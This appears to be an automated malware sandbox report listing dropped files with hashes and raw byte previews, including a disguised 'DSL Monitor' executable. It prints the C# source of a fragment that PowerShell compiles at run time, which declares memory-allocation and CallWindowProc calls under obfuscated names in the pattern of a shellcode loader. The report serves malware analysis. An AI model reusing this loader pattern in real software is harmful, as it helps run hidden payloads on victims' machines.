Entropy (8bit):	3.9783974551949193
Encrypted:	false
SSDEEP:	24:Hgg69OgmqH1VWwKTFpmfwI+ycuZhN6TakS98PNnqSud:pgnVV1KTzmo1ul6Ta39sqSu
MD5:	683F7FC3D137596540A0372D7485116A
SHA1:	81A93F47E20D183F942460ABCC0F14329EDF83A8
SHA-256:	32E7BC3FF1A31D7ECE105F826557893FF3139A5E927FDE614FC995E189F4280F
SHA-512:	8EAC143F65FC5731968C751BD8A5925DF9A33D11E6393BC372DDF1E7A72511A2A783F92DE0EED3BC9E1E925160CCEAD01A98EBE23612D47BD5117CA854502356
Malicious:	false
Preview:	L......a.............debug$S........H...................@..B.rsrc$01........X.......,...........@..@.rsrc$02........P...6...............@..@........K....c:\Users\user\AppData\Local\Temp\CSCAB9D447D8E2849BB9EF6D8A3F7C9ADB.TMP......................+e_r]..&..........5.......C:\Users\user\AppData\Local\Temp\RES1FFF.tmp.-.<....................a..Microsoft (R) CVTRES.].=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...k.x.e.a.y.l.3.s...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.

C:\Users\user\AppData\Local\Temp\RESA6F8.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x482, 9 symbols
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	3.9729675264121087
Encrypted:	false
SSDEEP:	24:HVnW9BXu5W1HoHwKPfwI+ycuZhNGakSOPNnqShgd:RsXBvKPo1ulGa3SqSy
MD5:	06727BBA7A81E060ABF93672C080A9A5
SHA1:	34715111BF732B92FD1E07EE1DA935059C735F10
SHA-256:	D8579CC1D8A82FE84471FA669775156C900F084877864557E2134984AA5CB4E1
SHA-512:	FFBC948A0AFB7147E2AC48451505A41EF9585DCFD70472D93452C278D69B5A5438CECEC111290B85EE8A7F8B770A98B0596DF46DEF6AE26480B4C5CE1F27147C
Malicious:	false
Preview:	L...Z..a.............debug$S........D...................@..B.rsrc$01........X.......(...........@..@.rsrc$02........P...2...............@..@........L....c:\Users\user\AppData\Local\Temp\CSC12B2DF4544A1496EA7EB89E07B3D3FC6.TMP...............W....osK...0............5.......C:\Users\user\AppData\Local\Temp\RESA6F8.tmp.-.<....................a..Microsoft (R) CVTRES.Y.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...k.a.r.5.i.s.z.o...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.

C:\Users\user\AppData\Local\Temp\RESAD7.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x47e, 9 symbols
Category:	dropped
Size (bytes):	1316
Entropy (8bit):	3.9780568294781062
Encrypted:	false
SSDEEP:	24:HxS9QUXECpEHJwKPfeI+ycuZhNn4akSGtPNnqSGd:9UXEzSKPm1uln4a3G3qS2
MD5:	2A3D5A74CF348E2889806AE77BC11FF6
SHA1:	8FDEBD1036DE260559F1074A0F043E4305EA8070
SHA-256:	F875CE8B15118E2C1FF04CE3F535B4675191E10D55B4252B86A6DEB9FAF32AE4
SHA-512:	C96E62A19EB5EAC70019B9137C95F05F7AFD143C9C0446F01733CECE4E0AF9487C3E9BCA938DD5C8A0E1F8EC836D82D95B82574A42FC39344C639544FF3C85C6
Malicious:	false
Preview:	L...2..a~............debug$S........@...................@..B.rsrc$01........X.......$...........@..@.rsrc$02........P...................@..@........L....c:\Users\user\AppData\Local\Temp\CSCB1B043D375E64A49ADE1599E795DF7E1.TMP................+...;)N...gn............4.......C:\Users\user\AppData\Local\Temp\RESAD7.tmp.-.<....................a..Microsoft (R) CVTRES.Y.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe..............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...3.r.u.m.n.u.x.b...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.

C:\Users\user\AppData\Local\Temp\TRICA.dat

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	data
Category:	dropped
Size (bytes):	54731
Entropy (8bit):	6.808354912776216
Encrypted:	false
SSDEEP:	768:L3QU7awMz32kQXkifR/FQc1aOCLDh9/zkW8jjPtC0qPEoB1:LH83XifVWc1aFrAWWznx21
MD5:	2A22122630F746A9315DE8C7FB00EB92
SHA1:	B6DDB9ABE5B0DF63FE74E226F398C0A9EC1A73AE
SHA-256:	994CD060E9D46E82EB631262C8867E403C863AD3B008BEAE9D3C636DE172A053
SHA-512:	6F583D3D898BD31103DE0A567EA3735401F8530E15B2960D0F88F86625FA8AF172EBA9496D6353EEBBA794B3D50D1042D9E4FD375FD630023B90EA7EF4F7DA04
Malicious:	false
Preview:	.o.....@..\................................................................r...]g.5w/////////////////////////////////////////////////////////////////////////////////////////......f.s....C.6O"...............................................................h.d......`.w.4\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|.4$m/[d....Gd.><....................................................................,$/.>......B...S..............................................................Zf.q.....N.=2`...................................................................................S}a.p.....................................................................................EO7..................................................................._....o..K?..G.......................................................................1......>.@Qn9999999999999999999999999999999999999999999999999999999999.e.f.s..O..nZPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_211vk1ug.2p0.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3vqhq11s.lsg.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5rpexkzj.43x.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_agpspjt2.yuf.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ekuvneon.m2m.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hqxzehiw.ce1.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j0dkhd0r.pjd.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qq1a1iio.i0w.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wncinhpp.5pu.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yidkldje.pqx.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\kar5iszo.0.cs

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	725
Entropy (8bit):	5.0360659051782966
Encrypted:	false
SSDEEP:	12:V/DGrcXvLZCGNVulF4fVtKMLr3F8aKGWJVIyLq+OwQiP2IE0wn:JocXvLZCGLuwNpr3F8rGiWP+QL
MD5:	9B3EA1C2DE62E6D7ED2BFCC1920981F2
SHA1:	74BCDC2E2BBFFBE1482E6F04EC22F99397CE6823
SHA-256:	8D956F943B2F42AD00C23891D7B9A19A423140B88962345019B920EF1C3BC690
SHA-512:	805C137EF0A218A5400B8D005603A80E5B9F8965CA2C7F618AC65923BB08812F1D922DCE4CACD3E882E8F72947D5C2B661AB1F644A4512CCDEB02AD04AB09D02
Malicious:	false
Preview:	.using System;..using System.Runtime.InteropServices;..public static class Sludrech1..{..[DllImport("ntdll.dll")]public static extern int NtAllocateVirtualMemory(int Sludrech6,ref Int32 VERSALERN,int Forbistrin,ref Int32 Sludrech,int Refrman,int Sludrech7);..[DllImport("kernel32.dll")]public static extern IntPtr CreateFileA(string Monstr,uint Melle8,int Nonpercep,int Sludrech0,int HABAN,int BAAN,int NRINGS);..[DllImport("kernel32.dll")]public static extern int ReadFile(int Forbistrin0,uint Forbistrin1,IntPtr Forbistrin2,ref Int32 Forbistrin3,int Forbistrin4);..[DllImport("user32.dll")]public static extern IntPtr CallWindowProcW(IntPtr Forbistrin5,int Forbistrin6,int Forbistrin7,int Forbistrin8,int Forbistrin9);..}

C:\Users\user\AppData\Local\Temp\kar5iszo.cmdline

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	353
Entropy (8bit):	5.232959414639671
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2CN23fozxs7+AEszICN23ff9:p37Lvkmb6KmAWZE7n9
MD5:	31BB431DD7D2794689E98324A65385D7
SHA1:	8E209AF606E2A07350DCCB8D3B670F5E952DFFEA
SHA-256:	F2A6C1B9EAA0FD33EC23B5141727AFCE78FCCC21AD3B080248F11B955836256B
SHA-512:	D7C0FBB332ACD8937412139476DB1465E160850F732C5830DC295740EDE02975EB7E0AADD28F57B335D780A28E2594CDB7CC45DF84A48960AAD11E1F8C91BFF5
Malicious:	false
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\kar5iszo.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\kar5iszo.0.cs"

C:\Users\user\AppData\Local\Temp\kar5iszo.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3584
Entropy (8bit):	3.144873871449426
Encrypted:	false
SSDEEP:	24:etGSLtoDTc8cTyqvCxCIC0r2ZIpHUXStkFA9JPOEoWI+ycuZhNGakSOPNnq:6uPvcTja8IhNQFA9JtD1ulGa3Sq
MD5:	A097FA7503A6F7AE67E09A3CB97B3812
SHA1:	A6D8D055F2DEEC1BB8A2EB236DA40719DE66619E
SHA-256:	E8D02209822DC0C0B97AD7B7E0FD5EE68F1E4F03E024FC08566F6989323AE3E1
SHA-512:	939142B3ACEEAA9AD3450FB15240EC47B9254865C0D0ACB1442B2ED6ADA78253577E6BBA190DB4E498E70A7A8B1A90D3C5B8B91BE6688ADBAC913CA20DD45C90
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Z..a...........!................^%... ...@....... ....................................@..................................%..K....@.......................`....................................................... ............... ..H............text...d.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................@%......H.......P ..............................................................BSJB............v4.0.30319......l.......#~.. .......#Strings....<.......#US.D.......#GUID...T...l...#Blob...........G.........%3............................................................1.*...{.[.....[.......................................... 8............ P............ \.!.......... e.+.......u.............................................................................................................

C:\Users\user\AppData\Local\Temp\kar5iszo.out

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with very long lines, with CRLF, CR line terminators
Category:	modified
Size (bytes):	848
Entropy (8bit):	5.300639052359678
Encrypted:	false
SSDEEP:	24:Aqd3ka6KmBE7n4Kax5DqBVKVrdFAMBJTH:Aika6PBE7n4K2DcVKdBJj
MD5:	96D470271F7C1BF8DF64F8A2B1D398F2
SHA1:	9E079C68513DD4E40BF200627B97601B9CA587CA
SHA-256:	497B3122709FDCBF07D400EA002F091345D181183A8773A07316AAB963A4EFA0
SHA-512:	B0A6E333E68159E70DDDA68A30FBE93F0AAB663A8110DF74FF1E9AC091209E3655958182DA9AF48A4F511D23C322DCF8C6BAC82B5533EB20F64F8273307CA2D1
Malicious:	false
Preview:	.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\kar5iszo.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\kar5iszo.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\kxeayl3s.0.cs

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	725
Entropy (8bit):	5.0360659051782966
Encrypted:	false
SSDEEP:	12:V/DGrcXvLZCGNVulF4fVtKMLr3F8aKGWJVIyLq+OwQiP2IE0wn:JocXvLZCGLuwNpr3F8rGiWP+QL
MD5:	9B3EA1C2DE62E6D7ED2BFCC1920981F2
SHA1:	74BCDC2E2BBFFBE1482E6F04EC22F99397CE6823
SHA-256:	8D956F943B2F42AD00C23891D7B9A19A423140B88962345019B920EF1C3BC690
SHA-512:	805C137EF0A218A5400B8D005603A80E5B9F8965CA2C7F618AC65923BB08812F1D922DCE4CACD3E882E8F72947D5C2B661AB1F644A4512CCDEB02AD04AB09D02
Malicious:	false
Preview:	.using System;..using System.Runtime.InteropServices;..public static class Sludrech1..{..[DllImport("ntdll.dll")]public static extern int NtAllocateVirtualMemory(int Sludrech6,ref Int32 VERSALERN,int Forbistrin,ref Int32 Sludrech,int Refrman,int Sludrech7);..[DllImport("kernel32.dll")]public static extern IntPtr CreateFileA(string Monstr,uint Melle8,int Nonpercep,int Sludrech0,int HABAN,int BAAN,int NRINGS);..[DllImport("kernel32.dll")]public static extern int ReadFile(int Forbistrin0,uint Forbistrin1,IntPtr Forbistrin2,ref Int32 Forbistrin3,int Forbistrin4);..[DllImport("user32.dll")]public static extern IntPtr CallWindowProcW(IntPtr Forbistrin5,int Forbistrin6,int Forbistrin7,int Forbistrin8,int Forbistrin9);..}

C:\Users\user\AppData\Local\Temp\kxeayl3s.cmdline

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	353
Entropy (8bit):	5.240383045411018
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2CN23fs3zxs7+AEszICN23fsGx:p37Lvkmb6Km8WZE7/x
MD5:	C1D47936AA0A06AE5D5AD24C32CDD838
SHA1:	9719599CE427DAFD63E74A1EC7DD6E8B520FE1FC
SHA-256:	EE63DB030C164620491FC43E16282D32D11683CBDC7B1022A5D9BF0D75D38650
SHA-512:	E5DC7A199F8ECB6850808FED8FF7A21D7BBA9BA0354512AF452DC0FFFF1CD2342B182033F450F30B926F6EB11D7210250EC1A4F2AAD09AED4007CC5145975D4D
Malicious:	false
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\kxeayl3s.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\kxeayl3s.0.cs"

C:\Users\user\AppData\Local\Temp\kxeayl3s.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3584
Entropy (8bit):	3.1499963022905533
Encrypted:	false
SSDEEP:	24:etGSatoDTc8cTyqvCxCIin90r2ZIpHUXStkFO19Jl5oWI+ycuZhN6TakS98PNnq:6bPvcTja8Ia0NQFY9JDD1ul6Ta39sq
MD5:	26E6C3B9248C76F457731BDC5EC4BC0A
SHA1:	9CAFE72D0E117BAB1F0AB5EBBF4F5FFE62AA0008
SHA-256:	5994C3C3CA8EC9F2F3105F7F8C38235D92F230B7773599698074ED725DE58E4A
SHA-512:	4D670171A0D749236DB91AE2E0FE7CA19E810CEAD4577742CBC6FFBD5C0684E416E74B901B4F580D00A9D69E75977D3CAE8F479A08787FC28594B00789B64490
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......a...........!................^%... ...@....... ....................................@..................................%..K....@.......................`....................................................... ............... ..H............text...d.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................@%......H.......P ..............................................................BSJB............v4.0.30319......l.......#~.. .......#Strings....<.......#US.D.......#GUID...T...l...#Blob...........G.........%3............................................................1.*...{.[.....[.......................................... 8............ P............ \.!.......... e.+.......u.............................................................................................................

C:\Users\user\AppData\Local\Temp\kxeayl3s.out

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with very long lines, with CRLF, CR line terminators
Category:	modified
Size (bytes):	852
Entropy (8bit):	5.299378474321708
Encrypted:	false
SSDEEP:	24:KSqd3ka6KmtE7cKax5DqBVKVrdFAMBJTH:dika6PtE7cK2DcVKdBJj
MD5:	731BB1CF3DBF416E11BBA3039578D9E9
SHA1:	A3117975C3C1235AD23385A021D7BDF4A042F657
SHA-256:	2AE3DDB7BD738B3350E84A914B641668E90BFA1A6319AD5AF6FBE943A1A76F0B
SHA-512:	14E6E18EB70C16A94425F3F0EEECBF391DC68F7998E1CEED17A114BC39AD854E2C150C1D43C4B05EBF271AEED80A886A71C7BC97C637376AFCE6B09B4DA7FCF1
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\kxeayl3s.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\kxeayl3s.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	4.9674574626610895
Encrypted:	false
SSDEEP:	1536:6Mnt+J23KumyB/VWHsJwcabSMH2Bcj9uzhZvsWgk:6EtE23K8TWHsJra+MH2ajszhZvxgk
MD5:	7BAE06CBE364BB42B8C34FCFB90E3EBD
SHA1:	79129AF7EFA46244DA0676607242F0A6B7E12E78
SHA-256:	6CEAEBD55B4A542EF64BE1D6971FCFE802E67E2027366C52FAACC8A8D325EC7A
SHA-512:	C599B72500A5C17CD5C4A81FCF220A95925AA0E5AD72AA92DD1A469FE6E3C23590C548A0BE7EC2C4DBD737511A0A79C1C46436867CF7F0C4DF21F8DCEA9686CF
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: SMK C4S2102120001.exe, Detection: malicious, Browse Filename: Payment Schedule.exe.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......].................p... ........... ........@.. ...............................C....@.................................P...K................................................................................... ............... ..H............text....j... ...p.................. ..`.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

